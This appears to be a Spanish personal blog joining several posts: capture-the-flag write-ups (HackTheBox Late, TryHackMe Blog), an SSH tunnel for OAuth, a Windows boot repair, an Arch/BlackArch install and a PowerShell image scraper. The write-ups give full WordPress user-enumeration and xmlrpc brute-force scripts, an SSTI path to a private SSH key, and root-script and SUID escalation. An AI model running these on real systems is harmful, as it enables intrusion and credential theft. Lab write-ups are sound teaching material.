Bienvenidos a mi página y a este post donde veremos el recorrido sobre como solucionar la máquina Internal de TryHackMe. La resolución de esta máquina la realizamos con la comunidad de Twitch y de acuerdo con el room, se recomienda crear un reporte de Pentesting.

Nosotros hicimos uno muy, muy sencillo pero aquí pongo el repositorio de github para que lo puedan consultar: Reporte

Para comenzar, tenemos que agregar la dirección IP de la máquina en nuestro archivo /etc/hosts con el nombre internal.thm.

Resolución

Comenznado con la fase de reconocimiento a nivel de red, ejecutamos un escaneo de puertos y servicios utilizando la siguiente linea de comandos:

sudo nmap -Pn -n -p- --open -sSVC --min-rate 4000 internal.thm

Y aquí hacemos un desgloce de las opciones usadas:

• Pn omite un ping inicial para comprobar el estado del servidor
• n Omite consultar los DNS para hacer la traducción correspondiente
• -p- escaneo todos los puertos 0-65535
• open muestra solo los puertos abiertos en el resultado
• sSVC comprende 3 opciones en una “abreviación”:
  • sS escaneo stealth o sigiloso (necesita permisos sudo)
  • sV Muestra las versiones de los servicios detectados
  • sC ejecuta una serie de scripts para descubrimiento
• min-rate 4000 envia paquetes a una velocidad no menor a 4000 paquetes por segundo

Como resultado obtuvimos lo siguiente:

nmap

Comenzando por el puerto 80 vamos explorando la aplicación para Enumerar detectar su tecnología

Introducción

La intención de este post es aprender como podemos autenticarnos con OAuth cuando no tenemos una interfaz gráfica o GUI, todo en un entorno local.

Problema

Hace unos días estaba usando codex en un proyecto sobre noticias y necesitaba empezar a usar supabase como base de datos para los artículos de interés. Este proyecto lo tengo en una Raspberry pi Zero 2W que no tiene un ambiente de escritorio y sólo me conecto por ssh con mi tablet. Todo esto por el bajo consumo energético ;).

Al momento de instalar el pluggin de supabase en Codex, supabase me pide iniciar sesión y darle permisos a codex para manejar las BD y/o proyectos que tenga en mi cuenta, el problema es que codex automáticamente abre un navegador para hacer login y sin interfaz gráfica instalada en mi raspberry, yo no podía darle los permisos por que solo me aparecía esta url y me pedía que la abriera en un navegador.

Como estaba conectado por ssh, intenté abrir el enlace que me mandaba codex en mi tablet, pero en la misma url se puede ver un redirect hacia localhost, es decir, la raspberry. Entonces a pesar de poder abrir el enlace e iniciar sesión en supabase en mi tablet, al momento de autorizar a Codex, el redirect da un error, por otro lado, codex se va a timeout por que nunca recibe respuesta del redirect.

Solución

Prerrequisitos

• Una PC/laptop/tablet
• Conocer la IP de la raspberry

Cada que tengo un problema me cuestiono a mí mismo, y en este caso la pregunta fue: ¿Cómo le haré para autenticarme si no tengo interfaz gráfica?

Pensé que la forma más fácil sería con un navegador web por CLI y también pensé cual sería la solución en un entorno productivo controlado o con políticas zero-trust donde es muy dificil poder instalar aplicaciones.

Entonces me replantee la pregunta: ¿De qué forma puedo exponer un “servicio local” de mi raspberry en mi red para que lo vea mi tablet y ahí se mande la respuesta?.

Fue así como recordé el ssh tunneling, ssh port-forwarding o túnel ssh para la raza por que vi su uso en el write-up de una máquina de HTB y dije: “vamos a hacerlo de la forma difícil”.

Para este caso, lo que hice fue: 1) Solicitar la autenticación de supabase 2) Identificar el puerto en la url 3) Crear el túnel ssh en el mismo puerto 4) Abrir la url en el navegador de mi tablet 5) Autenticarme y autorizar a codex

Para que Codex de la url hay que ejecutar ˋcodex mcp login supabaseˋ, al principio me costó trabajo por que me tardaba en modificar la url original que está codificada en url encode y no me acordé cuales eran los caracteres codificados, pero con ayuda de cyberchef, copié esta parte de la url:

Decodifiacando tenemos que%3A = : y %2F = /y entre estos 2 caracteres viene el puerto, en mi caso fue 34733. Saber esto es necesario para crear el túnel local, y para crearlo usé la siguiente línea de comandos que explicaré con más detalle.

ssh -L 34733:127.0.0.1:34733 c04tl@192.168.1.65

-L le dice a ssh que se trata de un tunel local. 34733 es el puerto donde se espera la respuesta. 127.0.0.1:34733 le dice a ssh que inicie el tunel en mi tablet por el puerto 34733. c04tl@192.168.1.65 es el usuario y la IP de mi raspberry.

Ahora si abro la url en mi tablet, me pedirá iniciar sesión en supabase para autorizar a codex, después de poner nuestras credenciales terminará el proceso y saldrá este mensaje.

Validación

Para validar que Codex ya se conectó a Supabase, ejecuté codex mcp list y se imprime esta lista confirmando que ya está habilitado y autenticado.

Errores comunes

Cada que se ejecuta codex mcp login supabase la url cambia al igual que el puerto local que espera la respuesta, por eso tienes que confirmar el puerto del túnel.

Conclusiones

Instalar herramientas de terceros que faciliten este tipo de actividades de autenticación y/o autorización puede ser el camino más facil, sin embargo, en entornos productivos puede resultar muy difícil por las limitaciones como la interfaz gráfica, restricciones de instalación de software y/o auditorias normativas, por lo que esta opción puede resultar útil ya que se usan herramientas nativas del sistema operativo además de crear una conexión de “un solo uso” a través de un canal cifrado.

En este post les contaré qué tienen en común, unas boneless, un colchón nuevo y mi laptop con windows 11 qué dejó de funcionar por que quedó sin archivos de arranque. Y tal vez te estés preguntando: “¿Unas boneless y un windows 11 corrupto?” Y la respuesta es Sí, si tienen relación.

Les cuento por que resulta y resalta, que el día Jueves 4 de Agosto, ya se acercaba la hora de salida de mi trabajo y en eso mi roomie me mandó un meme buenísimo, aquí la evidencia:

Despues me preguntó si yo tenía plan y si quería acompañarla para buscar un regalo para el cumpleaños del novio de una de sus amigas y terminando de comprar el regalo pasáramos a cenar alitas. No les voy a mentir, mi plan era llegar, jugar Age of Empires, luego escribir un post qué ya había empezado tomo mientras estrenaba mi colchón nuevo por que unos 15 días atrás lo compré y me lo trajeron el 3 de agosto.

Continuando con la historia, le dije a mi roomie que sí y entonces regresé rápido al departamento, me cambié y fuimos a buscar el regalo Pasamos a una tienda de ropa en busca de una playera “minimalista” sencilla, pero solo encontrábamos oversized y no le gustaban, estuvimos buscando un rato y al fin dimos con la elegida

Ya con eso, fuimos a buscar una gorra pero ahí fallamos por que no habían gorras cool, solo eran lisas y sin estampados entonces quisimos buscar calcetines pero tampoco tenían imágenes o diseños padres, Entonces solo buscamos un par de calcetines pero lo que si encontramos fue esta chamarra de Pókemon súper padre el diseño, y puse una encuesta en instagram:

La mayoría votó qué si me quedaba, y créanme qué tuve una tentación inmensa pior comprármelo y ponérsela a mi gatita toda una maestra pokemón <3, pero resistí y no la compré. Después salimos de la tienda con los regalos y luego fuimos buscar de cenar, estabamos entre sushi y alitas y al final comimos boneless en el wings academy

Había una promo de 20 alítas, pedimos BBQ y Louissiana, a mí me gustan mucho las louisiana entonces me las acabé por que estaban muy picositas para mi roomie, terminé super lleno y me pegó durísimo el mal del puerco jajaja.

Ya que llegamos a casa, era un poco tarde pero me lavé mis dientes y me hice mi skin care, fui a mi cuarto me acosté y me dije: “Puedo escribir un ratito el post que estaba escribiendo ayer”, entonces fui por mi lap, me volví a acostar y en la comodidad de nuevo colchón me sentí muy cansado, entonces dije: “mejor me duermo y descanso”, dejé mi lap a un lado y me quedé super dormido, dormí como 9 horas y media. Al otro día estaba super bien descansado y en la tarde prendí la lap y me salió una nuncio de la BIOS diciendo que se le había acabado la batería, la conecté y le di continuar.

Problema

Al otro día cuando la prendí y terminó ded prender, me pedía seleccionar un idioma y después me daba un menu de recuperación pero ninguna de las opciones arreglaba el problema, la unica que funcionaba era la de abrir un interprete de comandos.

Despues de reiniciar varias veces e intentar todos los métodos del menú yo ya estaba pensando que iba a tener que formatear la lap y todo lo que implica formatear: respaldar, formatear, configurar cuentas, configurar perfiles, instalar aplicaciones, etc. etc.

Pero entonces se me ocurrió buscar un tutorial en youtube, y después de varias busquedas y tutoriales sin funcionar, dí con el bueno, el elegido jajajaja.

Para mi fortuna el video está en español, y es muy conciso, todos los créditos para el autor: INFORMÁTICA FÁCIL

Mi hipotesis sobre el problema es que mientras se estaban actualizando archivos de arranque o algún componente del inicio de windows, se le acabó la batería a la laptop y esto corrompió los archivos o no terminaron de escribirse y por eso no sabía que archivos cargar

Solución

Para arreglar este problema se ejecutan una serie de comandos desde la opción de consola de comandos del arranque de windows, investigando sobre que son y que hace cada uno de estos comandos, encontré que. . .

• DISKPART es un gestor de discos, particiones y volumenes
• bootsect permite reescribir el código de arranque de windows
• bcdboot se usa para reconstruir BCD (Boot Configuration Data) cuando Windows no arranca. . . .

Vamos a empezar el tutorial asumiendo que ya tenemos una consola de comandos iniciada. El primer comando que ejecutamos es diskpart, una herramienta que es una navaja suiza para discos y particiones en wuindows que nos deja administrar dicos, particiones y volumenes.

diskpart

Al ejecutar está línea de comandos, “entramos” al menú de diskpart, lo sabrás por que vas a ver el prompt DISKPART>, ahí escribimos list disk y nos aparecerán todos los discos que están instalados, después seleccionamos el numero del disco con el que vamos a trabajar, en mi caso es el disco 0: select disk 0, escribimos otra vez list disk y veremos el disco seleccionado con un asterisco dedl lado izquierdo:

Ahora vamos a ver las particiones que tiene este disco con list part, seleccionamos la partición de tipo “sistema” con su numero, en mi caso select part 1

En esta parte tenemos que seleccionar el volumen con el mismo tamaño que la partición para formatearlo con el sistema de archivos fat32, para eso hacemos lo siguiente:

1. Usamos list vol para ver los volumenes
2. Asignamos una letra de unidad con assign letter=X
3. Volvemos a hacer un list vol
4. Con el volumen seleccionado ejecutamos format override fs=fat32

En caso de que el volumen no esté seleccionado ejecutamos select vol N

Ahora salimos de DISKPART ejecutando exit, luego entramos a la unidad que acabamos de formatear, eso lo hacemos escribiendo la letra y :, en mi caso F:, dentro de la unidad vamos a usar la herramienta bootsect para reescribir el código de arranque y pueda iniciar windows, para eso ejecutamos bootsect /nt60 all /force

Hasta aquí ya se actualizaron los discos donde va a puntar el código de arranque de MOOTMGR pero falta crear los archivos de arranque para que la pc sepa que SO va a iniciar, para eso ejecutamos bcdboot C:\windows /s F: /f all

Ahora ejecutamos exit, esto nos regresa al menú principal y ahora sí nos aparecen todas las opciones de arranque avanzado y ya podemos seleccionar la opción “salir y continuar con Windows 10”.

Conclusiones

Este error NUNCA me había pasado y es relativamente sencillo reparar windows con herramientas que ya trae el propio SO, además de eso, tambien aprendí a tener paciencia y analizar con más detenimiento el error antes de asumir lo peor, en este caso pasar por todo el proceso de recuperar mis archivos, formatear y luego dejar mi lap como me gusta.

En este primer articulo del año 2023 veremos como instalar y personalizar un entorno de hacking profesional comenzando por la instalación del sistema operativo Arch Linux y toda la configuración necesaria como el idioma, la distribución de teclado, el gestor de paquetes Paru y un gestor de ventanas que hará que nuestra máquina no consuma tantos recursos además de ser súper personalizable. Después convertiremos nuestro sistema en un Black Arch con ayuda del script oficial de esta distribución y finalmente instalaremos algunos paquetes “escenciales” para poder realizar un pentest o hackeo ético en las plataformas Hack The Box, Try Hack Me o en cualquier entorno “real”. Es importatne mencionar que partiremos este tutorial tomando en cuenta que ya debemos tener instalado VirtualBox o VMWare según sea nuestra preferencia ya que solo hacen falta unas pequeñas modificaciones para que funcione correctamente.

Descarga de arch Linux y creación de máquina virtual

Comenzamos este tutorial descargando desde la página oficial de Arch la imagen iso para la instalación, una vez descargada crearemos nuestra máquina virtual con las siguientes especificaciones:

• 20 GB de disco duro (se puede modificar de acuerdo al uso que le daremos)
• 2 GB de memoria RAM
• Firmware EFI

Para VirtualBox

Crearemos la máquina seleccionando el botón añadir (1), asiganmos el nombre (2), seleccionamos la carpeta donde se guardará la máquina (3), seleccionamos la ruta de la imagen ISO (4) y damos click en Next.

Asignamos memoria RAM (1), procesadores (2) y activamos el Firmware EFI (3)

Asignamos el tamaño del disco y con esto finalizamos la creación de la máquina

Para VMware

Crearemos la máquina normalmente y después iremos a la carpeta donde se crearon los archivos de la máquina virtual, en mi caso están en Documentos/Virtual Machines/BlackArch, aquí abriremos el archivo con extensión .vmx

Abrimos este archivo con cualquier editor de texto y añadimos la siguiente línea: firmware="efi"

Guardamos y listo.

Particionado de disco

Después de hacer las modificaciones anteriores encenderemos la máquina virtual, a continuación, tomaremos en cuenta 3 particiones: sda1 como la partición de arranque, sda2 será la partición donde se instalará nuestro sistema y herramientas por lo que si asignamos más de 20GB a nuestra máquina esta partición será de mayor tamaño, finalmente la partición sda3 se habilitará como memoria de intercambio por lo que cambiará de acuerdo a sus preferencias.

Para crear las particiones utilizaremos cfdisk y el siguiente esquema:

• sda1 300M
• sda2 18.5G o el espacio de su elección
• sda3 1.2G

Ahora solo ejecutamos cfdisk en la terminal y seleccionamos la opción gpt :

Después nos aparecerá la siguiente pantalla donde seleccionaremos la opción New

En la parte inferior escribimos 300m, damos enter y con esto se creará la partición sda1, ahora con las flechas del teclado seleccionamos Free space(1) y de nuevo seleccionamos New(2)

Asignamos 18.5G o el tamaño que deseemos y con esto habremos creado la partición sda2. Finalmente seleccionamos Free space(1) y New(2).

Para esta última parición asignamos el espacio restante (en mi caso 1.2GB), después de crear esta partición seleccionamos /dev/sda1(1) y seleccionamos la opción Type(2) del menú inferior.

En el siguiente menú seleccionamos la opción EFI System.

Ahora seleccionamos la partición /dev/sda3(1) y seleccionamos la opción Type(2)

Para esta partición seleccionamos Linux swap

Seleccionamos la opción Write(1) en la parte inferior para escribir los cambios en las particiones.

Escribimos yes para confirmar.

Finalmente seleccionamos Quit para salir de cfdisk.

Podemos ejecutar fdisk -l para mostrar las particiones y revisar que todo esté correcto.

Instalación

Después de particionar el disco podemos realizar una instalación automatica a través de un script que escribí o a través de una instalación manual siguiendo todos los comandos dentro del script.

Instalación automática

Para la instalación automática clonaremos mi repositorio de github, es importante aclarar que todos los comandos utilizados en mi script están basados en la guía de instalación de Arch y en la zona horaria y servidores de México. Una vez clonado, podemos cambiar cualquier archivo de configuración y los wallpapers.

Ahora levantaremos un servidor http con python en la carpeta descargada, modificaremos las lineas 36, 37 y 38 con el nombre de nuestro usuario, el nombre de nuestra máquina y la ip y puerto de nuestro servidor.

En la línea 45 y 46 escribiremos la contraseña del usuario estándar y del usuario root después de los 2 puntos.

IMPORTANTE: Si estamos usando VirtualBox necesitaremos descomentar las líneas 65 y 66 y comentar las lineas 70 - 72. Si estamos usando VMWare necesitaremos descomentar las líneas 70 - 72 y comentar las lineas 65 y 66.

Después de hacer estas modificaciones solo hace falta ejecutar la siguiente línea de comandos que descargará el script y se lo pasará a bash para ejecutarlo (recuerden cambiar la ip por la de su servidor).

curl 192.168.0.2:8000/BlackArch.sh | bash

Una vez que empiece el proceso de descarga e instalación debemos dejar el servidor python arriba para que el script pueda descargar todos los archivos de configuración del repositorio que clonamos así que ahora podemos ir a tomar un café o levantarnos por unos minutos. Después de que regresemos comenzará la instalación de Paru, para esto debemos introducir la contraseña del usuario estándar.

Después comenzará la instalación de la powerlevel10k, nuestras herramientas de hacking y finalmente se instalará NvChad para neovim, esto con el fin de facilitar la escritura de scripts :).

Cuando NVCHAD termine de instalarse aparecerá una pantalla como la siguiente:

Solo debemos ejecutar el comando :q de vim para regresar a la terminal, despues reiniciamos la máquina con el comando reboot, después de reiniciar ya estará listo nuestro de hacking profesional montado en un BlackArch personalizado.

Conclusiones

La instalación y configuración de nuestro entorno de hacking es realmente sencilla con el script y los archivos que he agregado al repositorio, además de ser completamente personalizable a través de los archivos de configuración.

Espero les haya sido útil esta publicación para aprender más sobre los entornos Linux, sus archivos de configuración, rutas, tipos de sistemas de archivos, etc. nos vemos hasta otra publicación ;)

Bienvenidos a mi primer writeup de Hack The Box, para comenzar, agregamos la dirección IP de la máquina en nuestro archivo /etc/hosts con el nombre late.htb para hacerlo más práctico.

Resolución

Para realizar un reconocimiento de puertos y servicios utilizamos la siguiente línea de comandos:

sudo nmap -Pn -n -p- --open -sSVC --min-rate 4000 late.htb

Como resultado obtuvimos lo siguiente:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 02:5e:29:0e:a3:af:4e:72:9d:a4:fe:0d:cb:5d:83:07 (RSA)
|   256 41:e1:fe:03:a5:c7:97:c4:d5:16:77:f3:41:0c:e9:fb (ECDSA)
|_  256 28:39:46:98:17:1e:46:1a:1e:a1:ab:3b:9a:57:70:48 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Late - Best online image tools
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Cuando visitamos la página en el puerto 80 encontramos un enlace hacia images.late.htb así que añadimos este enlace en el archivo /etc/hosts y cuando recargamos la página nos mostró el siguiente portal.

Ya que esta aplicación procesa el texto que recibe como imagenes probamos ataques STTI (Server Side Template Injection) con diferentes fuentes, tamaños de letra y estilos. Les recomiendo visitar los siguientes enlaces para conocer más sobre como funciona esta vulnerabilidad.

• Server-Side Template Injections Explained
• podalirius.net

Primero comprobamos que se trata de un SSTI enviando la siguiente imágen:

Podemos ver que entre las etiquetas p de la respuesta viene el resultado de la evaluación hecha por python.

Una vez comprobada la injección de plantilla veremos si podemos ejecutar código directamente desde el interprete de python llamando al modulo os, en este caso llamaremos a id para ver el id del usuario actual.

La aplicación respondió con el siguiente id, lo cual me hizo suponer que el usuario root es quien está ejecutando el aplicativo:

Para comprobarlo, ahora ejecutamos whoami esperando el nombre del usuario actual:

Sin embargo, como respuesta obtuvimos una cadena vacía:

Pero no hay que preocuparnos ya que podemos utilizar el comando who para ver los usuarios que tienen una sesión iniciada en la máquina.

Una vez que recibimos la respueta de la aplicación podemos ver algo como lo siguiente.

Recordando el escaneo de nmap pudimos ver el puerto 22 abierto y ya que tenemos el nombre del usuario buscamos su id_rsa en su carpeta personal con la siguiente imagen:

En la respuesta podemos ver la id_rsa completa del usuario por lo cual ahora podemos conectarnos por ssh.

Recordemos que debemos cambiar los permisos con chmod 400 id_rsa ya que de lo contrario ssh nos dará un error y no nos dejará conectarnos.

Bandera user.txt

Ya que nos conectamos a la máquina listamos el directorio actual y podemos ver la bandera user.txt.

Bandera root.txt

Para conseguir la bandera del usuario root utilizamos linpeas.sh para enumerar el sistema y encontrar un vector para escalar privilegios. Los resultados de linpeas muestran el script /usr/local/sbin/ssh-alert.sh, al revisar los permisos podemos ver que somos el propietario y tenemos permisos de lectura, escritura y ejecución, además, al hacer un cat al archivo vemos que este script envía un correo de alerta al usuario root@late.htb.

Despues, con pspy podemos ver que este script lo está ejecutando el usuario root cuando se hace un login por ssh, además, cuando intentamos editar este script nos apareció un error lo cual es raro ya que somos los propietarios de este scriot además de que tenemos los permisos para editarlo, pero al listar los atributos del archivo con lsattr podemos ver que está activo el atributo a (append), lo cual solo nos permitirá agregar contenido más no modificarlo, sabiendo esto, ejecutamos la siguiente línea de comandos:

echo -e "cp /root/root.txt /home/svc_acc/root.txt\nchown svc_acc /home/svc_acc/root.txt" | tee -a /usr/local/sbin/ssh-alert.sh

Ya que el script es ejecutado por el usuario root, con estas instrucciones estamos copiando el archivo root.txt hacía nuestro directorio personal y poniendonos como propietarios a nosotros.

En este caso la bandera root en HTB siempre se encuentra en ese directorio pero por ejemplo pudimos cambiar los permisos de la /bin/bash, copiar la id_rsa del usuario root si es que la hubiera, lanzar una reverse shell, etc.

Para que se ejecute el script basta con salir de ssh, volver a iniciar sesión y ahí tendremos nuestro archivo root.txt

Conclusiones

Esta máquina me gustó mucho ya que es la primera en HTB que soluciono, además de que aprendí más sobre python y SSTI en Flask y de igual manera sobre los atributos en los archivos de linux. Espero que les haya gustado este writeup, nos vemos en el siguiente post ;).

Bienvenidos a mi página y a este post donde veremos como solucionar la máquina Blog de TryHackMe.
La resolución de esta máquina la realizamos con la comunidad de Twitch y va dedicada a nuestro amigo EL MALDITO ;).

Para comenzar, tenemos que agregar la dirección IP de la máquina en nuestro archivo /etc/hosts con el nombre blog.thm.

Resolución

Para realizar un reconocimiento de puertos y servicios utilizamos la siguiente linea de comandos:

sudo nmap -Pn -n -p- --open -sSVC --min-rate 4000 blog.thm

Como resultado obtuvimos lo siguiente:

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Comenzando por el puerto 22 probamos el script ssh-brute de nmap para un pequeño ataque de fuerza bruta, sin embargo, no se obtuvieron credenciales válidas:

nmap -p22 --script ssh-brute blog.thm
.
.
.
PORT   STATE SERVICE
22/tcp open  ssh
| ssh-brute: 
|   Accounts: No valid accounts found
|_  Statistics: Performed 1424 guesses in 602 seconds, average tps: 2.4

Nmap done: 1 IP address (1 host up) scanned in 603.74 seconds

Ahora seguimos con los puertos 139 y 445 que corresponden a SMB por lo cual utilizamos smbclient con una sesión nula para tratar de enumerar los recursos comparitdos y obtenemos lo siguiente:

smbclient -N -L blog.thm
.
.
.
SHARES

Cuarta y quinta Flag

Ya que tenemos el puerto 80 abierto, ejecutamos whatweb blog.thm para identificar la tecnología utilizada por la página web y podemos ver que se trata de un CMS (Content Management Systems) WorPress en la versión 5.0:

http://blog.thm [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.3.160], MetaGenerator[WordPress 5.0], PoweredBy[-wordpress,-wordpress,,WordPress,WordPress,], Script[text/javascript], Title[Billy Joel's IT Blog – The IT blog], UncommonHeaders[link], WordPress[5.0]

Afortunadamente, wordpress cuenta con una API que nos permite gestionar ciertos aspectos a través de Json y podemos aprovecharla en esta máquina para consultar todos los usuarios en http://blog.thm/wp-json/wp/v2/users/.

Explotación

Para explotar el sitio wordpress aprovechando la API escribimos 3 scripts en Bash que realizan lo siguiente:

1. Enumerar usuarios
2. Enumerar metodos
3. Ataque de fuerza bruta

Estos scripts están disponibles en mi repositorio WP-Hacking para su uso y modificación ;)

Scripts realizados

Los siguientes 3 Scripts en bash los fuimos escribiendo y explicando en vivo con la comunidad de Twitch comenzando por getUsers.sh.

getUsers.sh

Para poder usar este script necesitamos ejecutar sudo apt install jq para isntalar jq que nos ayudará a procesar mas fácilmente respuesta Json. Una vez instalado, basta con hacer un ./getUsers.sh blog.thm y el script guardará los usuarios encontrados en un archivo de nombre usuarios-wp.txt

#!/bin/bash

if [[ -z $@ ]]; then
    echo "Modo de uso: $0 HOST"
    exit 1
fi

host="$1"
usuario="A"
i=0
while [[ -n $usuario ]]; do
    usuario=$(curl -s $host/wp-json/wp/v2/users | jq ".[$i][\"slug\"]" | tr -d '"')
    if [[ $usuario == "null" ]]; then
        exit 0  

    elif [[ -z usuario ]]; then
        if [[ -z usuario=$(curl -s "$host/?rest_route=/wp/v2/users" | jq .[$i][\"slug\"] | tr -d '"') ]]; then
            echo "[x] No se encontraron usuarios :c"
            exit 1
        fi
    fi

    echo "[+] Usuario: $usuario"
    echo $usuario >> usuarios-wp.txt
    i=$i+1
done

getMethods.sh

Para este script necesitamos utilizar xmlrpc.php el cual es un sistema que permite actualizaciones remotas a WordPress desde otras aplicaciones, concretamente utilizaremos system.listMethods para listar todos los métodos permitidos, sin embargo, solo nos interesa que esté habilitado wp.getUsersBlogs

#!/bin/bash

if [[ -z $@ ]]; then
	echo "Modo de uso: $0 HOST"
	exit 1
fi

host=$1

echo "
<methodCall>
	<methodName>system.listMethods</methodName>
</methodCall>
" > datos.xml

curl -s "$host/xmlrpc.php" -d @$datos_xml
rm datos.xml

Buscando en el cuerpo de la respuesta podemos ver que nuestro método wp.getUsersBlogs está habilitado }:).

bruter.sh

wp.getUsersBlogs nos permite consultar los blogs creados por un usuario específico pero para poder obtenerlos debemos autenticarnos como un usuario válido de WordPress, gracias a getUsers.sh ya debemos tener los usuarios válidos en el archivo usuarios-wp.txt ahora solo resta ejecutar nuestro script y pasarle como parametro el host a atacar y el diccionario pero por defecto utiliza el diccionario de nmap /usr/share/nmap/nselib/data/passwords.lst.

./bruter.sh

#!/bin/bash

if [[ -z $@ ]]; then
  echo "Modo de uso: $0 [HOST] [DICCIONARIO]"
fi

host="$1"
dict="$2"

for user in $(cat usuarios-wp.txt); do
	for psw in $(cat $dict); do 
		echo " 
		<methodCall>
			<methodName>wp.getUsersBlogs</methodName>
			<params>
				<param><value>$user</value></param>
				<param><value>$psw</value></param>
				</params>
		</methodCall>
		" > datos.xml
		echo "Probando $user:$psw"

		if [[ ! $(curl -s "$host/xmlrpc.php" -d @"datos.xml" | grep "Incorrect" &)  ]]; then
			echo "[+] $user:$psw"
			rm datos.xml
			exit 0
		fi; wait

		rm datos.xml

	done
done

Una vez que obtuvimos las credenciales podemos iniciar sesión en http://blog.thm/wp-admin/ y lo primero que veremos sera el panel de administración:

Después de hacer una exploración podemos ver que no tenemos permisos administrativos, entonces vamos a utilizar searchsploit para buscar un exploit de la versión de wordpress que detectamos y encontramos un exploit de metasploit, lo configuramos y lanzamos para obtener una sesión de meterpreter

flag user.txt

Ahora vamos al directorio home del usuario bjoel para obtener la bandera pero el archivo tiene lo siguiente:

Ahora buscamos binarios con SUID para escalar privilegios

find / -type f -perm -4000 2>/dev/null

Encontramos que checker tiene estos permisos pero al ejecutarlo solo se imprime Not an Admin

Para analizarlo mejor descargamos el archivo a nuestra maquina y vamos a analizarlo con radare2, encontramos la cadena admin en la dirección 0x722 que es pasada a la función getenv ademaś vemos una comparación a 0 en la dirección 0x737 en decir, si está vacía la variable admin se hará un salto a 0x75a, imprimirá Not an admin y saldrá del programa.

Para configurar la variable admin solo hacemos un export admin=loqueseaxd ya que solo necesita estar configurada y después ejecutamos checker de nuevo para obtener una shell de root.

Bandera 1, 2 y 3

Ahora con permisos de root buscamos la bandera user.txt:

find / -type f -name user.txt 2>/dev/null

Y terminamos con la bandera root.txt en /root/

Conclusiones

Así terminamos con esta máquina, espero les haya gustado y les haya sido util, nos vemos en otro post ;)

Hace unos días estaba haciendo scraping con powershell y necesitaba descargar archivos (concretamente imágenes) de un sitio web, pero me encontré con el problema que esta página, One.com de ahora en adelante, carga las imágenes desde un sitio externo Piece.com de ahora en adelante ;)

Además, cuando accedí a las imagenes directamente en Piece.com el servidor Nginx me responde con un código 403 Forbidden es por eso que en este post les enseñaré el procedimiento para obtener las URL’s y automatizar la descarga de las imágenes además de hacer un bypass con una cabecera muy sencilla.

Analisis

La url inicial tiene la siguiente estructura: One.com/viewer/1000 y cuando ingresamos con un navegador luce más o menos así:

Además arriba y abajo de la imagen podemos ver un selector con el numero 1 al 22 y cada vez que cambiamos de selector por ejemplo 10, este numero se pone al final de nuestra url.

La imagen a descargar es lo primero que se ve, y al abrir el inspector de elementos (Ctrl+C) y seleccionar la imágen me di cuenta que One.com carga el recurso desde una estructura img1.Piece.com/uploads/AAAAMMDD/abc123/xyz.jpg. i

La imágen no tiene un nombre seriado, por ejemplo, 0001_org.jpg esto evita el problema con IDOR’s pero complicó el trabajo de scraping ya que la imágen tiene un nombre aleatorio para el selector 2, 3 ,4 , etc. Además, cuando quería abrir la imágen directamente con la url encontrada, el servidor responde con un 403 Forbidden.

Aquí abrí el inspector del navegador y me dí cuenta que en el apartado de red cada que recargaba la página el server arrojaba el mismo código de estado.

Después de pasar un rato comparando las peticiones, recursos cargados y finalmente las cabeceras de la petición, me dí cuenta que cuando One.com carga la imagen desde Piece.com envía la cabecera Refer: https://One.com

Esta cabecera sirve para indicarle al servidor Piece.com que el recurso se está solicitando o se está visitando desde One.com. Esta información puede ser usada para analytics, loggeo, cacheo y otras funciones, para saber más pueden visitar el siguiente enlace: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer

Como prueba edité y reenvié la petición con el navegador agregandole la cabecera Refer: One.com la final

Como resultado el server me regresó la imagen sin restricciones y haciendo más pruebas encontré que no hace falta agregar más cabeceras

Código

Después de ver el comportamiento del server empecé a hacer el script que me permitiera automatizar la descarga de las imágenes en cada selector. Aquí el script final:

$url = "https://One.com/viewer/1000"

$cabeceras=@{'Referer' = 'https://One.com/'}

$carpeta = "Descarga\\1000"

if(!(Test-Path -Path $carpeta))
{
    New-Item -ItemType Directory -Path $carpeta
    Write-Host "Ya existe el directorio" $carpeta
}

for($i=1;$i -le 22; $i++)
{
    
    $datos = Invoke-WebRequest -Uri "$($url)/$($i)" -UseBasicParsing

    $datos.Content -match '<img src="(?<IMAGEN>.*.jpg)"'

    $salida="$($carpeta)\\$($i).jpg"

    if($i -le 9)
    {
        $salida="$($carpeta)\\0$($i).jpg"
    }
    
    Invoke-WebRequest -Headers $cabeceras -Uri $Matches.IMAGEN -OutFile $salida -UseBasicParsing
    Start-Sleep -Milliseconds 2000
}

Explicación del código

En la primera línea declaramos la variable $url que apunta a la dirección del grupo de imagenes que vamos a descargar, asignamos la cabecera refer a la variable $cabecera para descargar la imagen sin error y declaramos el nombre de la carpeta donde se guardarán las imagenes.

$url = "https://One.com/viewer/1000"

$cabeceras=@{'Referer' = 'https://One.com/'}

$carpeta = "Descarga\\1000"

Este bloque if crea la carpeta de descarga si no existe.

if(!(Test-Path -Path $carpeta))
{
    New-Item -ItemType Directory -Path $carpeta
}

Inicio de ciclo for de 1 a 22 que corresponde a cada selector.

for($i=1;$i -le 22; $i++)

Se concatena $url y $i y quedaría https://One.com/viewer/1000/1, se hace una petición y la respuesta se almacena en $datos.

$datos = Invoke-WebRequest -Uri "$($url)/$($i)" -UseBasicParsing

Aquí utilicé -match para que busque en la respuesta ($datos.Content) la etiqueta HTML img src= y que concretamente guarde el valor de src, es decir, la url de la imágen en un campo que se llamará IMAGEN, con los parentesis estamos indicando el patrón a buscar y la expresion regular sería algo como esto: \".*\.jpg\"

$datos.Content -match '<img src="(?<IMAGEN>.*.jpg)"'

$salida indica la estructura del nombre de la imagen y junto con el bloque if le dan orden a las imagenes, cuando $i vale menos que 9 se le agregará un 0 al nombre del archivo, así quedaría 01.jpg 02.jpg 03jpg, etc.

$salida="$($carpeta)\\$($i).jpg"

